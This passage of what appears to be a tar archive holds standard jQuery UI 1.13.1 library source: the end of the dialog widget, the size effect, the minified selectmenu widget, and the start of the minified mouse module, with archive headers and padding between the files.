&& $.fn.draggable ) { this._makeDraggable(); } if ( this.options.resizable && $.fn.resizable ) { this._makeResizable(); } this._isOpen = false; this._trackFocus(); }, _init: function() { if ( this.options.autoOpen ) { this.open(); } }, _appendTo: function() { var element = this.options.appendTo; if ( element && ( element.jquery || element.nodeType ) ) { return $( element ); } return this.document.find( element || "body" ).eq( 0 ); }, _destroy: function() { var next, originalPosition = this.originalPosition; this._untrackInstance(); this._destroyOverlay(); this.element .removeUniqueId() .css( this.originalCss ) // Without detaching first, the following becomes really slow .detach(); this.uiDialog.remove(); if ( this.originalTitle ) { this.element.attr( "title", this.originalTitle ); } next = originalPosition.parent.children().eq( originalPosition.index ); // Don't try to place the dialog next to itself (#8613) if ( next.length && next[ 0 ] !== this.element[ 0 ] ) { next.before( this.element ); } else { originalPosition.parent.append( this.element ); } }, widget: function() { return this.uiDialog; }, disable: $.noop, enable: $.noop, close: function( event ) { var that = this; if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) { return; } this._isOpen = false; this._focusedElement = null; this._destroyOverlay(); this._untrackInstance(); if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) { // Hiding a focused element doesn't trigger blur in WebKit // so in case we have nothing to focus on, explicitly blur the active element // https://bugs.webkit.org/show_bug.cgi?id=47182 $.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) ); } this._hide( this.uiDialog, this.options.hide, function() { that._trigger( "close", event ); } ); }, isOpen: function() { return this._isOpen; }, moveToTop: function() { this._moveToTop(); }, _moveToTop: function( event, silent ) { var moved = false, zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() { return +$( this ).css( "z-index" ); } ).get(), zIndexMax = Math.max.apply( null, zIndices ); if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) { this.uiDialog.css( "z-index", zIndexMax + 1 ); moved = true; } if ( moved && !silent ) { this._trigger( "focus", event ); } return moved; }, open: function() { var that = this; if ( this._isOpen ) { if ( this._moveToTop() ) { this._focusTabbable(); } return; } this._isOpen = true; this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) ); this._size(); this._position(); this._createOverlay(); this._moveToTop( null, true ); // Ensure the overlay is moved to the top with the dialog, but only when // opening. The overlay shouldn't move after the dialog is open so that // modeless dialogs opened after the modal dialog stack properly. if ( this.overlay ) { this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 ); } this._show( this.uiDialog, this.options.show, function() { that._focusTabbable(); that._trigger( "focus" ); } ); // Track the dialog immediately upon opening in case a focus event // somehow occurs outside of the dialog before an element inside the // dialog is focused (#10152) this._makeFocusTarget(); this._trigger( "open" ); }, _focusTabbable: function() { // Set focus to the first match: // 1. An element that was focused previously // 2. First element inside the dialog matching [autofocus] // 3. Tabbable element inside the content element // 4. Tabbable element inside the buttonpane // 5. The close button // 6. The dialog itself var hasFocus = this._focusedElement; if ( !hasFocus ) { hasFocus = this.element.find( "[autofocus]" ); } if ( !hasFocus.length ) { hasFocus = this.element.find( ":tabbable" ); } if ( !hasFocus.length ) { hasFocus = this.uiDialogButtonPane.find( ":tabbable" ); } if ( !hasFocus.length ) { hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" ); } if ( !hasFocus.length ) { hasFocus = this.uiDialog; } hasFocus.eq( 0 ).trigger( "focus" ); }, _restoreTabbableFocus: function() { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ), isActive = this.uiDialog[ 0 ] === activeElement || $.contains( this.uiDialog[ 0 ], activeElement ); if ( !isActive ) { this._focusTabbable(); } }, _keepFocus: function( event ) { event.preventDefault(); this._restoreTabbableFocus(); // support: IE // IE <= 8 doesn't prevent moving focus even with event.preventDefault() // so we check again later this._delay( this._restoreTabbableFocus ); }, _createWrapper: function() { this.uiDialog = $( "<div>" ) .hide() .attr( { // Setting tabIndex makes the div focusable tabIndex: -1, role: "dialog" } ) .appendTo( this._appendTo() ); this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" ); this._on( this.uiDialog, { keydown: function( event ) { if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode && event.keyCode === $.ui.keyCode.ESCAPE ) { event.preventDefault(); this.close( event ); return; } // Prevent tabbing out of dialogs if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) { return; } var tabbables = this.uiDialog.find( ":tabbable" ), first = tabbables.first(), last = tabbables.last(); if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) && !event.shiftKey ) { this._delay( function() { first.trigger( "focus" ); } ); event.preventDefault(); } else if ( ( event.target === first[ 0 ] || event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) { this._delay( function() { last.trigger( "focus" ); } ); event.preventDefault(); } }, mousedown: function( event ) { if ( this._moveToTop( event ) ) { this._focusTabbable(); } } } ); // We assume that any existing aria-describedby attribute means // that the dialog content is marked up properly // otherwise we brute force the content as the description if ( !this.element.find( "[aria-describedby]" ).length ) { this.uiDialog.attr( { "aria-describedby": this.element.uniqueId().attr( "id" ) } ); } }, _createTitlebar: function() { var uiDialogTitle; this.uiDialogTitlebar = $( "<div>" ); this._addClass( this.uiDialogTitlebar, "ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" ); this._on( this.uiDialogTitlebar, { mousedown: function( event ) { // Don't prevent click on close button (#8838) // Focusing a dialog that is partially scrolled out of view // causes the browser to scroll it into view, preventing the click event if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) { // Dialog isn't getting focus when dragging (#8063) this.uiDialog.trigger( "focus" ); } } } ); // Support: IE // Use type="button" to prevent enter keypresses in textboxes from closing the // dialog in IE (#9312) this.uiDialogTitlebarClose = $( "<button type='button'></button>" ) .button( { label: $( "<a>" ).text( this.options.closeText ).html(), icon: "ui-icon-closethick", showLabel: false } ) .appendTo( this.uiDialogTitlebar ); this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" ); this._on( this.uiDialogTitlebarClose, { click: function( event ) { event.preventDefault(); this.close( event ); } } ); uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar ); this._addClass( uiDialogTitle, "ui-dialog-title" ); this._title( uiDialogTitle ); this.uiDialogTitlebar.prependTo( this.uiDialog ); this.uiDialog.attr( { "aria-labelledby": uiDialogTitle.attr( "id" ) } ); }, _title: function( title ) { if ( this.options.title ) { title.text( this.options.title ); } else { title.html( " " ); } }, _createButtonPane: function() { this.uiDialogButtonPane = $( "<div>" ); this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane", "ui-widget-content ui-helper-clearfix" ); this.uiButtonSet = $( "<div>" ) .appendTo( this.uiDialogButtonPane ); this._addClass( this.uiButtonSet, "ui-dialog-buttonset" ); this._createButtons(); }, _createButtons: function() { var that = this, buttons = this.options.buttons; // If we already have a button pane, remove it this.uiDialogButtonPane.remove(); this.uiButtonSet.empty(); if ( $.isEmptyObject( buttons ) || ( Array.isArray( buttons ) && !buttons.length ) ) { this._removeClass( this.uiDialog, "ui-dialog-buttons" ); return; } $.each( buttons, function( name, props ) { var click, buttonOptions; props = typeof props === "function" ? { click: props, text: name } : props; // Default to a non-submitting button props = $.extend( { type: "button" }, props ); // Change the context for the click callback to be the main element click = props.click; buttonOptions = { icon: props.icon, iconPosition: props.iconPosition, showLabel: props.showLabel, // Deprecated options icons: props.icons, text: props.text }; delete props.click; delete props.icon; delete props.iconPosition; delete props.showLabel; // Deprecated options delete props.icons; if ( typeof props.text === "boolean" ) { delete props.text; } $( "<button></button>", props ) .button( buttonOptions ) .appendTo( that.uiButtonSet ) .on( "click", function() { click.apply( that.element[ 0 ], arguments ); } ); } ); this._addClass( this.uiDialog, "ui-dialog-buttons" ); this.uiDialogButtonPane.appendTo( this.uiDialog ); }, _makeDraggable: function() { var that = this, options = this.options; function filteredUi( ui ) { return { position: ui.position, offset: ui.offset }; } this.uiDialog.draggable( { cancel: ".ui-dialog-content, .ui-dialog-titlebar-close", handle: ".ui-dialog-titlebar", containment: "document", start: function( event, ui ) { that._addClass( $( this ), "ui-dialog-dragging" ); that._blockFrames(); that._trigger( "dragStart", event, filteredUi( ui ) ); }, drag: function( event, ui ) { that._trigger( "drag", event, filteredUi( ui ) ); }, stop: function( event, ui ) { var left = ui.offset.left - that.document.scrollLeft(), top = ui.offset.top - that.document.scrollTop(); options.position = { my: "left top", at: "left" + ( left >= 0 ? "+" : "" ) + left + " " + "top" + ( top >= 0 ? "+" : "" ) + top, of: that.window }; that._removeClass( $( this ), "ui-dialog-dragging" ); that._unblockFrames(); that._trigger( "dragStop", event, filteredUi( ui ) ); } } ); }, _makeResizable: function() { var that = this, options = this.options, handles = options.resizable, // .ui-resizable has position: relative defined in the stylesheet // but dialogs have to use absolute or fixed positioning position = this.uiDialog.css( "position" ), resizeHandles = typeof handles === "string" ? handles : "n,e,s,w,se,sw,ne,nw"; function filteredUi( ui ) { return { originalPosition: ui.originalPosition, originalSize: ui.originalSize, position: ui.position, size: ui.size }; } this.uiDialog.resizable( { cancel: ".ui-dialog-content", containment: "document", alsoResize: this.element, maxWidth: options.maxWidth, maxHeight: options.maxHeight, minWidth: options.minWidth, minHeight: this._minHeight(), handles: resizeHandles, start: function( event, ui ) { that._addClass( $( this ), "ui-dialog-resizing" ); that._blockFrames(); that._trigger( "resizeStart", event, filteredUi( ui ) ); }, resize: function( event, ui ) { that._trigger( "resize", event, filteredUi( ui ) ); }, stop: function( event, ui ) { var offset = that.uiDialog.offset(), left = offset.left - that.document.scrollLeft(), top = offset.top - that.document.scrollTop(); options.height = that.uiDialog.height(); options.width = that.uiDialog.width(); options.position = { my: "left top", at: "left" + ( left >= 0 ? "+" : "" ) + left + " " + "top" + ( top >= 0 ? "+" : "" ) + top, of: that.window }; that._removeClass( $( this ), "ui-dialog-resizing" ); that._unblockFrames(); that._trigger( "resizeStop", event, filteredUi( ui ) ); } } ) .css( "position", position ); }, _trackFocus: function() { this._on( this.widget(), { focusin: function( event ) { this._makeFocusTarget(); this._focusedElement = $( event.target ); } } ); }, _makeFocusTarget: function() { this._untrackInstance(); this._trackingInstances().unshift( this ); }, _untrackInstance: function() { var instances = this._trackingInstances(), exists = $.inArray( this, instances ); if ( exists !== -1 ) { instances.splice( exists, 1 ); } }, _trackingInstances: function() { var instances = this.document.data( "ui-dialog-instances" ); if ( !instances ) { instances = []; this.document.data( "ui-dialog-instances", instances ); } return instances; }, _minHeight: function() { var options = this.options; return options.height === "auto" ? options.minHeight : Math.min( options.minHeight, options.height ); }, _position: function() { // Need to show the dialog to get the actual offset in the position plugin var isVisible = this.uiDialog.is( ":visible" ); if ( !isVisible ) { this.uiDialog.show(); } this.uiDialog.position( this.options.position ); if ( !isVisible ) { this.uiDialog.hide(); } }, _setOptions: function( options ) { var that = this, resize = false, resizableOptions = {}; $.each( options, function( key, value ) { that._setOption( key, value ); if ( key in that.sizeRelatedOptions ) { resize = true; } if ( key in that.resizableRelatedOptions ) { resizableOptions[ key ] = value; } } ); if ( resize ) { this._size(); this._position(); } if ( this.uiDialog.is( ":data(ui-resizable)" ) ) { this.uiDialog.resizable( "option", resizableOptions ); } }, _setOption: function( key, value ) { var isDraggable, isResizable, uiDialog = this.uiDialog; if ( key === "disabled" ) { return; } this._super( key, value ); if ( key === "appendTo" ) { this.uiDialog.appendTo( this._appendTo() ); } if ( key === "buttons" ) { this._createButtons(); } if ( key === "closeText" ) { this.uiDialogTitlebarClose.button( { // Ensure that we always pass a string label: $( "<a>" ).text( "" + this.options.closeText ).html() } ); } if ( key === "draggable" ) { isDraggable = uiDialog.is( ":data(ui-draggable)" ); if ( isDraggable && !value ) { uiDialog.draggable( "destroy" ); } if ( !isDraggable && value ) { this._makeDraggable(); } } if ( key === "position" ) { this._position(); } if ( key === "resizable" ) { // currently resizable, becoming non-resizable isResizable = uiDialog.is( ":data(ui-resizable)" ); if ( isResizable && !value ) { uiDialog.resizable( "destroy" ); } // Currently resizable, changing handles if ( isResizable && typeof value === "string" ) { uiDialog.resizable( "option", "handles", value ); } // Currently non-resizable, becoming resizable if ( !isResizable && value !== false ) { this._makeResizable(); } } if ( key === "title" ) { this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) ); } }, _size: function() { // If the user has resized the dialog, the .ui-dialog and .ui-dialog-content // divs will both have width and height set, so we need to reset them var nonContentHeight, minContentHeight, maxContentHeight, options = this.options; // Reset content sizing this.element.show().css( { width: "auto", minHeight: 0, maxHeight: "none", height: 0 } ); if ( options.minWidth > options.width ) { options.width = options.minWidth; } // Reset wrapper sizing // determine the height of all the non-content elements nonContentHeight = this.uiDialog.css( { height: "auto", width: options.width } ) .outerHeight(); minContentHeight = Math.max( 0, options.minHeight - nonContentHeight ); maxContentHeight = typeof options.maxHeight === "number" ? Math.max( 0, options.maxHeight - nonContentHeight ) : "none"; if ( options.height === "auto" ) { this.element.css( { minHeight: minContentHeight, maxHeight: maxContentHeight, height: "auto" } ); } else { this.element.height( Math.max( 0, options.height - nonContentHeight ) ); } if ( this.uiDialog.is( ":data(ui-resizable)" ) ) { this.uiDialog.resizable( "option", "minHeight", this._minHeight() ); } }, _blockFrames: function() { this.iframeBlocks = this.document.find( "iframe" ).map( function() { var iframe = $( this ); return $( "<div>" ) .css( { position: "absolute", width: iframe.outerWidth(), height: iframe.outerHeight() } ) .appendTo( iframe.parent() ) .offset( iframe.offset() )[ 0 ]; } ); }, _unblockFrames: function() { if ( this.iframeBlocks ) { this.iframeBlocks.remove(); delete this.iframeBlocks; } }, _allowInteraction: function( event ) { if ( $( event.target ).closest( ".ui-dialog" ).length ) { return true; } // TODO: Remove hack when datepicker implements // the .ui-front logic (#8989) return !!$( event.target ).closest( ".ui-datepicker" ).length; }, _createOverlay: function() { if ( !this.options.modal ) { return; } var jqMinor = $.fn.jquery.substring( 0, 4 ); // We use a delay in case the overlay is created from an // event that we're going to be cancelling (#2804) var isOpening = true; this._delay( function() { isOpening = false; } ); if ( !this.document.data( "ui-dialog-overlays" ) ) { // Prevent use of anchors and inputs // This doesn't use `_on()` because it is a shared event handler // across all open modal dialogs. this.document.on( "focusin.ui-dialog", function( event ) { if ( isOpening ) { return; } var instance = this._trackingInstances()[ 0 ]; if ( !instance._allowInteraction( event ) ) { event.preventDefault(); instance._focusTabbable(); // Support: jQuery >=3.4 <3.6 only // Focus re-triggering in jQuery 3.4/3.5 makes the original element // have its focus event propagated last, breaking the re-targeting. // Trigger focus in a delay in addition if needed to avoid the issue // See https://github.com/jquery/jquery/issues/4382 if ( jqMinor === "3.4." || jqMinor === "3.5." ) { instance._delay( instance._restoreTabbableFocus ); } } }.bind( this ) ); } this.overlay = $( "<div>" ) .appendTo( this._appendTo() ); this._addClass( this.overlay, null, "ui-widget-overlay ui-front" ); this._on( this.overlay, { mousedown: "_keepFocus" } ); this.document.data( "ui-dialog-overlays", ( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 ); }, _destroyOverlay: function() { if ( !this.options.modal ) { return; } if ( this.overlay ) { var overlays = this.document.data( "ui-dialog-overlays" ) - 1; if ( !overlays ) { this.document.off( "focusin.ui-dialog" ); this.document.removeData( "ui-dialog-overlays" ); } else { this.document.data( "ui-dialog-overlays", overlays ); } this.overlay.remove(); this.overlay = null; } } } ); // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for dialogClass option $.widget( "ui.dialog", $.ui.dialog, { options: { dialogClass: "" }, _createWrapper: function() { this._super(); this.uiDialog.addClass( this.options.dialogClass ); }, _setOption: function( key, value ) { if ( key === "dialogClass" ) { this.uiDialog .removeClass( this.options.dialogClass ) .addClass( value ); } this._superApply( arguments ); } } ); } return $.ui.dialog; } ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-size.js�������������������������������������������������������������������������0000644�����������������00000012424�14717703502�0011667 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Size 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Size Effect //>>group: Effects //>>description: Resize an element to a specified width and height. //>>docs: http://api.jqueryui.com/size-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "size", function( options, done ) { // Create element var baseline, factor, temp, element = $( this ), // Copy for children cProps = [ "fontSize" ], vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ], hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ], // Set options mode = options.mode, restore = mode !== "effect", scale = options.scale || "both", origin = options.origin || [ "middle", "center" ], position = element.css( "position" ), pos = element.position(), original = $.effects.scaledDimensions( element ), from = options.from || original, to = options.to || $.effects.scaledDimensions( element, 0 ); $.effects.createPlaceholder( element ); if ( mode === "show" ) { temp = from; from = to; to = temp; } // Set scaling factor factor = { from: { y: from.height / original.height, x: from.width / original.width }, to: { y: to.height / original.height, x: to.width / original.width } }; // Scale the css box if ( scale === "box" || scale === "both" ) { // Vertical props scaling if ( factor.from.y !== factor.to.y ) { from = $.effects.setTransition( element, vProps, factor.from.y, from ); to = $.effects.setTransition( element, vProps, factor.to.y, to ); } // Horizontal props scaling if ( factor.from.x !== factor.to.x ) { from = $.effects.setTransition( element, hProps, factor.from.x, from ); to = $.effects.setTransition( element, hProps, factor.to.x, to ); } } // Scale the content if ( scale === "content" || scale === "both" ) { // Vertical props scaling if ( factor.from.y !== factor.to.y ) { from = $.effects.setTransition( element, cProps, factor.from.y, from ); to = $.effects.setTransition( element, cProps, factor.to.y, to ); } } // Adjust the position properties based on the provided origin points if ( origin ) { baseline = $.effects.getBaseline( origin, original ); from.top = ( original.outerHeight - from.outerHeight ) * baseline.y + pos.top; from.left = ( original.outerWidth - from.outerWidth ) * baseline.x + pos.left; to.top = ( original.outerHeight - to.outerHeight ) * baseline.y + pos.top; to.left = ( original.outerWidth - to.outerWidth ) * baseline.x + pos.left; } delete from.outerHeight; delete from.outerWidth; element.css( from ); // Animate the children if desired if ( scale === "content" || scale === "both" ) { vProps = vProps.concat( [ "marginTop", "marginBottom" ] ).concat( cProps ); hProps = hProps.concat( [ "marginLeft", "marginRight" ] ); // Only animate children with width attributes specified // TODO: is this right? should we include anything with css width specified as well element.find( "*[width]" ).each( function() { var child = $( this ), childOriginal = $.effects.scaledDimensions( child ), childFrom = { height: childOriginal.height * factor.from.y, width: childOriginal.width * factor.from.x, outerHeight: childOriginal.outerHeight * factor.from.y, outerWidth: childOriginal.outerWidth * factor.from.x }, childTo = { height: childOriginal.height * factor.to.y, width: childOriginal.width * factor.to.x, outerHeight: childOriginal.height * factor.to.y, outerWidth: childOriginal.width * factor.to.x }; // Vertical props scaling if ( factor.from.y !== factor.to.y ) { childFrom = $.effects.setTransition( child, vProps, factor.from.y, childFrom ); childTo = $.effects.setTransition( child, vProps, factor.to.y, childTo ); } // Horizontal props scaling if ( factor.from.x !== factor.to.x ) { childFrom = $.effects.setTransition( child, hProps, factor.from.x, childFrom ); childTo = $.effects.setTransition( child, hProps, factor.to.x, childTo ); } if ( restore ) { $.effects.saveStyle( child ); } // Animate children child.css( childFrom ); child.animate( childTo, options.duration, options.easing, function() { // Restore children if ( restore ) { $.effects.restoreStyle( child ); } } ); } ); } // Animate element.animate( to, { queue: false, duration: options.duration, easing: options.easing, complete: function() { var offset = element.offset(); if ( to.opacity === 0 ) { element.css( "opacity", from.opacity ); } if ( !restore ) { element .css( "position", position === "static" ? "relative" : position ) .offset( offset ); // Need to save style here so that automatic style restoration // doesn't restore to the original styles from before the animation. $.effects.saveStyle( element ); } done(); } } ); } ); } ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/selectmenu.min.js����������������������������������������������������������������������0000644�����������������00000022172�14717703502�0012412 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Selectmenu 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./menu","./core"],e):e(jQuery)}(function(u){"use strict";return u.widget("ui.selectmenu",[u.ui.formResetMixin,{version:"1.13.1",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var e=this.element.uniqueId().attr("id");this.ids={element:e,button:e+"-button",menu:e+"-menu"},this._drawButton(),this._drawMenu(),this._bindFormResetHandler(),this._rendered=!1,this.menuItems=u()},_drawButton:function(){var e,t=this,i=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button),this._on(this.labels,{click:function(e){this.button.trigger("focus"),e.preventDefault()}}),this.element.hide(),this.button=u("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element),this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget"),e=u("<span>").appendTo(this.button),this._addClass(e,"ui-selectmenu-icon","ui-icon "+this.options.icons.button),this.buttonItem=this._renderButtonItem(i).appendTo(this.button),!1!==this.options.width&&this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one("focusin",function(){t._rendered||t._refreshMenu()})},_drawMenu:function(){var i=this;this.menu=u("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu}),this.menuWrap=u("<div>").append(this.menu),this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front"),this.menuWrap.appendTo(this._appendTo()),this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(e,t){e.preventDefault(),i._setSelection(),i._select(t.item.data("ui-selectmenu-item"),e)},focus:function(e,t){t=t.item.data("ui-selectmenu-item");null!=i.focusIndex&&t.index!==i.focusIndex&&(i._trigger("focus",e,{item:t}),i.isOpen||i._select(t,e)),i.focusIndex=t.index,i.button.attr("aria-activedescendant",i.menuItems.eq(t.index).attr("id"))}}).menu("instance"),this.menuInstance._off(this.menu,"mouseleave"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{})),null===this.options.width&&this._resizeButton()},_refreshMenu:function(){var e=this.element.find("option");this.menu.empty(),this._parseOptions(e),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,e.length&&(e=this._getSelectedItem(),this.menuInstance.focus(null,e),this._setAria(e.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(e){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",e)))},_position:function(){this.menuWrap.position(u.extend({of:this.button},this.options.position))},close:function(e){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",e))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(e){var t=u("<span>");return this._setText(t,e.label),this._addClass(t,"ui-selectmenu-text"),t},_renderMenu:function(n,e){var s=this,o="";u.each(e,function(e,t){var i;t.optgroup!==o&&(i=u("<li>",{text:t.optgroup}),s._addClass(i,"ui-selectmenu-optgroup","ui-menu-divider"+(t.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),i.appendTo(n),o=t.optgroup),s._renderItemData(n,t)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-selectmenu-item",t)},_renderItem:function(e,t){var i=u("<li>"),n=u("<div>",{title:t.element.attr("title")});return t.disabled&&this._addClass(i,null,"ui-state-disabled"),this._setText(n,t.label),i.append(n).appendTo(e)},_setText:function(e,t){t?e.text(t):e.html(" ")},_move:function(e,t){var i,n=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),n+=":not(.ui-state-disabled)"),(i="first"===e||"last"===e?i["first"===e?"prevAll":"nextAll"](n).eq(-1):i[e+"All"](n).eq(0)).length&&this.menuInstance.focus(t,i)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(e){this[this.isOpen?"close":"open"](e)},_setSelection:function(){var e;this.range&&(window.getSelection?((e=window.getSelection()).removeAllRanges(),e.addRange(this.range)):this.range.select(),this.button.focus())},_documentClick:{mousedown:function(e){!this.isOpen||u(e.target).closest(".ui-selectmenu-menu, #"+u.escapeSelector(this.ids.button)).length||this.close(e)}},_buttonEvents:{mousedown:function(){var e;window.getSelection?(e=window.getSelection()).rangeCount&&(this.range=e.getRangeAt(0)):this.range=document.selection.createRange()},click:function(e){this._setSelection(),this._toggle(e)},keydown:function(e){var t=!0;switch(e.keyCode){case u.ui.keyCode.TAB:case u.ui.keyCode.ESCAPE:this.close(e),t=!1;break;case u.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(e);break;case u.ui.keyCode.UP:e.altKey?this._toggle(e):this._move("prev",e);break;case u.ui.keyCode.DOWN:e.altKey?this._toggle(e):this._move("next",e);break;case u.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(e):this._toggle(e);break;case u.ui.keyCode.LEFT:this._move("prev",e);break;case u.ui.keyCode.RIGHT:this._move("next",e);break;case u.ui.keyCode.HOME:case u.ui.keyCode.PAGE_UP:this._move("first",e);break;case u.ui.keyCode.END:case u.ui.keyCode.PAGE_DOWN:this._move("last",e);break;default:this.menu.trigger(e),t=!1}t&&e.preventDefault()}},_selectFocusedItem:function(e){var t=this.menuItems.eq(this.focusIndex).parent("li");t.hasClass("ui-state-disabled")||this._select(t.data("ui-selectmenu-item"),e)},_select:function(e,t){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=e.index,this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(e)),this._setAria(e),this._trigger("select",t,{item:e}),e.index!==i&&this._trigger("change",t,{item:e}),this.close(t)},_setAria:function(e){e=this.menuItems.eq(e.index).attr("id");this.button.attr({"aria-labelledby":e,"aria-activedescendant":e}),this.menu.attr("aria-activedescendant",e)},_setOption:function(e,t){var i;"icons"===e&&(i=this.button.find("span.ui-icon"),this._removeClass(i,null,this.options.icons.button)._addClass(i,null,t.button)),this._super(e,t),"appendTo"===e&&this.menuWrap.appendTo(this._appendTo()),"width"===e&&this._resizeButton()},_setOptionDisabled:function(e){this._super(e),this.menuInstance.option("disabled",e),this.button.attr("aria-disabled",e),this._toggleClass(this.button,null,"ui-state-disabled",e),this.element.prop("disabled",e),e?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var e=this.options.appendTo;return e=(e=(e=e&&(e.jquery||e.nodeType?u(e):this.document.find(e).eq(0)))&&e[0]?e:this.element.closest(".ui-front, dialog")).length?e:this.document[0].body},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen),this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen),this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var e=this.options.width;!1===e?this.button.css("width",""):(null===e&&(e=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(e))},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var e=this._super();return e.disabled=this.element.prop("disabled"),e},_parseOptions:function(e){var i=this,n=[];e.each(function(e,t){t.hidden||n.push(i._parseOption(u(t),e))}),this.items=n},_parseOption:function(e,t){var i=e.parent("optgroup");return{element:e,index:t,value:e.val(),label:e.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||e.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler(),this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.labels.attr("for",this.ids.element)}}])});������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/mouse.min.js���������������������������������������������������������������������������0000644�����������������00000006523�14717703502�0011400 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Mouse 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(o){"use strict";var n=!1;return 